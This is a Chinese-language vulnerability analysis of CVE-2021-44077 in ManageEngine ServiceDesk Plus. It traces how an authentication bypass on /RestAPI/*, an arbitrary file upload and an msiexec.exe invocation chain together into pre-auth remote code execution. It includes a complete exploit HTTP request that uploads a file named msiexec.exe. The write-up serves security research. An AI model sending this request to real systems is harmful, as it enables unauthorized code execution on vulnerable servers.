Zoho ManageEngine ServiceDesk Plus (CVE-2021-44077) 漏洞分析
Zoho ManageEngine ServiceDesk Plus (CVE-2021-44077) 漏洞分析
碎碎念
“思绪慢慢下沉”
漏洞分析
命令执行
该项目用的是struts2架构的,先来看web.xml文件配置
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>
org.apache.struts.action.ActionServlet
</servlet-class>
<init-param>
<param-name>config</param-name>
<!-- cwf start -->
<param-value>/WEB-INF/struts-config.xml,/WEB-INF/change-struts-config.xml</param-value>
<!-- cwf end -->
</init-param>
<init-param>
<param-name>chainConfig</param-name>
<param-value>org/apache/struts/tiles/chain-config.xml</param-value>
</init-param>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>/RestAPI/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>*.json</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>*.do</url-pattern>
</servlet-mapping>
web.xml里加载struts-config.xml
com.manageengine.s247.actions.S247Action#s247AgentInstallationProcess
public ActionForward s247AgentInstallationProcess(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
String apikey = request.getParameter("apikey");
try {
S247Util.s247message = "s247.msg.acc.finished";
S247Util.installAgentProgress(apikey);
} catch (Throwable var7) {
logger.log(Level.SEVERE, "Exception occured while perform s247AgentInstallationProcess :: " + var7.getMessage());
var7.printStackTrace();
}
String forwardurl = "/setup/s247-result.jsp?successmsg=s247.acc.complete&fromAction=true&processFinished=true&closeTab=true";
logger.log(Level.INFO, "Forward Url :: " + forwardurl);
return new ActionForward(forwardurl);
}
获取apikey参数,调用S247Util.installAgentProgress(apikey);
public static void installAgentProgress(String customerAPIKey) throws Exception {
final String workingDir = currentDir + File.separator + ".." + File.separator + "site24x7";
try {
List<String> cmdargs = new LinkedList();
cmdargs.add("msiexec.exe");
cmdargs.add("/i");
cmdargs.add(installfile);
cmdargs.add("EDITA1=" + customerAPIKey);
cmdargs.add("/qn");
final String[] command = (String[])cmdargs.toArray(new String[cmdargs.size()]);
Thread installAgent = new Thread() {
public void run() {
try {
ProcessBuilder pb = new ProcessBuilder(command);
pb.directory(new File(workingDir));
Process p = pb.start();
int exitstatus = p.waitFor();
BufferedReader br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
String line = null;
StringBuilder content = new StringBuilder();
while((line = br.readLine()) != null) {
content.append(line);
}
S247Util.logger.log(Level.INFO, "Installation of Site24x7WindowsAgent :: Exit status :: " + exitstatus + " result :: " + content);
p.destroy();
} catch (Throwable var7) {
S247Util.logger.log(Level.SEVERE, "Exception occured while installing Site24x7WindowsAgent :: " + var7.getMessage());
var7.printStackTrace();
}
}
};
调用ProcessBuilder
执行msiexec.exe
但上面这个接口需要鉴权
权限绕过
回看web.xml
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>/RestAPI/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>*.json</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>*.do</url-pattern>
</servlet-mapping>
配置action的路由请求方式有三种,鉴权在SdpSecurityFilter
中
<filter>
<filter-name>SdpSecurityFilter</filter-name>
<filter-class>com.manageengine.servicedesk.filter.SdpSecurityFilter</filter-class>
<init-param>
<param-name>development.mode</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>config-file</param-name>
<param-value>../../../conf/security-defaultresponseheaders.xml,../../../conf/security-common.xml,../../../conf/security-properties.xml,security/common_params_conf,security,security/v3api,security/dynamic_urls_conf</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>SdpSecurityFilter</filter-name>
<!-- SD-91305 -->
<url-pattern>*.js</url-pattern>
<url-pattern>*.html</url-pattern>
<url-pattern>*.css</url-pattern>
<url-pattern>*.jpg</url-pattern>
<url-pattern>*.jpeg</url-pattern>
<url-pattern>*.png</url-pattern>
<url-pattern>*.JPG</url-pattern>
<url-pattern>*.ttf</url-pattern>
<url-pattern>*.eot</url-pattern>
<url-pattern>*.svg</url-pattern>
<url-pattern>*.woff</url-pattern>
<url-pattern>*.txt</url-pattern>
<url-pattern>*.gif</url-pattern>
<url-pattern>*.ico</url-pattern>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.do</url-pattern>
<url-pattern>*.cc</url-pattern>
<url-pattern>*.swf</url-pattern>
<url-pattern>*.up</url-pattern>
<url-pattern>*.ls</url-pattern>
<url-pattern>/servlets/*</url-pattern>
<url-pattern>/servlet/*</url-pattern>
<url-pattern>/discoveryServlet/*</url-pattern>
<url-pattern>/AgentTaskDetails</url-pattern>
<url-pattern>/webremote/</url-pattern>
<url-pattern>/sdpapi/*</url-pattern>
<url-pattern>/sdpapiv2/*</url-pattern>
<url-pattern>/api/*</url-pattern>
<url-pattern>/DcServlet/*</url-pattern>
<url-pattern>/aplusinteg</url-pattern>
<!-- SD-71558 issue fix -->
<url-pattern>*.json</url-pattern>
<url-pattern>/importssl/*</url-pattern>
<!-- issue : SDOrgAdmin role not removed when accessing Admin tab -->
<url-pattern>/app</url-pattern>
<url-pattern>/ui/*</url-pattern>
<url-pattern>/RestAPI/WC/TwoFactorAction</url-pattern>
<url-pattern>/RestAPI/TwoFactorAction</url-pattern>
<!-- SD-85770 -->
<url-pattern>/images/favicon.ico</url-pattern>
<!--MicrosoftTeams integration -->
<url-pattern>/AppIntegrations</url-pattern>
<url-pattern>/Error</url-pattern>
<dispatcher>REQUEST</dispatcher>
<dispatcher>ERROR</dispatcher>
<url-pattern>/ntlmv2</url-pattern>
<url-pattern>/domainServlet/AJaxDomainServlet</url-pattern>
<url-pattern>/overview/controller</url-pattern>
<url-pattern>/event/controller</url-pattern>
</filter-mapping>
在该SdpSecurityFilter
,在SdpSecurityFilter
没有配置RestAPI/*
的路由方式
文件上传
com.adventnet.servicedesk.setup.action.ImportTechniciansAction
获取theFile内容写入到当前路径下,即C:\Program Files\ManageEngine\ServiceDesk\bin
目录下
POST /RestAPI/ImportTechnicians HTTP/1.1
Host: 192.168.137.242:8080
Content-Length: 281
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRBcwSPhzFlHZQPEo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Cookie: SDPSESSIONID=E87946125311B73029382B0E1B2D962B; JSESSIONIDSSO=34C6BDB5EE7474D21E8C9BDDC0F66F68; PORTALID=1; sdpcsrfcookie=2781f8624e1c7121a1720da50a37923044ac046631b4d03d922ee4d2671e9387c8b04641dd3ea42bbc128a67fba01e393d017a24e7b1a9b9f1b78d9c35b3d1f9; _zcsr_tmp=2781f8624e1c7121a1720da50a37923044ac046631b4d03d922ee4d2671e9387c8b04641dd3ea42bbc128a67fba01e393d017a24e7b1a9b9f1b78d9c35b3d1f9
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryRBcwSPhzFlHZQPEo
Content-Disposition: form-data; name="theFile"; filename="msiexec.exe"
Content-Type: image/jpeg
1
------WebKitFormBoundaryRBcwSPhzFlHZQPEo
Content-Disposition: form-data; name="step";
1
------WebKitFormBoundaryRBcwSPhzFlHZQPEo--
与前面执行msiexec.exe的漏洞和权限绕过漏洞结合起来达到RCE
参考
https://y4er.com/posts/cve-2021-44077-zoho-manageengine-servicedesk-plus-pre-auth-rce/#环境搭建